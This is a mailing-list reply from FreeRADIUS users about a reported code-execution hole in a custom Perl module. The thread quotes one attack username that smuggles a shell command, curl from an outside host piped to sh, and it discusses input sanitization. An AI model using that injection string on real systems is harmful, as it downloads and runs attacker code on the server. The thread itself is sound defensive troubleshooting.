Remote code execution vulnerability via Perl module

[Brian Julin]

Alan DeKok wrote:
> On Jul 3, 2018, at 7:44 AM, David Herselman via Freeradius-Users <freeradius-users at lists.freeradius.org> wrote:
>> Transmitting the following username results in a custom perl module executing the code:
>>       $(/usr/bin/curl v.kernelupgr.com/d/all|sh)
>
> That's largely not the fault of FreeRADIUS. :(   It's hard to use Perl securely.

Nothing in perl expands $(...) to shell commands.  That's a shell construct.
And, even in the 2.2.x git branch, the radlog XS wrapper just does a direct
C call to radlog(level, "rlm_perl: %s", msg)... so it could only hit the
shell through something in the 2.2.x radlog implementation (which I find
hard to believe involves the shell), or through an error path caused
by some exception when trying to run ::radlog.

...or maybe that value is being used by another statement in this custom script
and it is not the radlog statement to blame....

>> Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line?
>>       &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}");
>
> Yeah, as Adam said.. expanding strings with arbitrary input like that is just bad.

Yep, always sanitize input to ensure it is within expected parameters.

So in answer to that question, I have not seen anyone keeping a survey of values
typically found in every radius attribute... most people remove all attributes they
are not using and only work with a limited subset.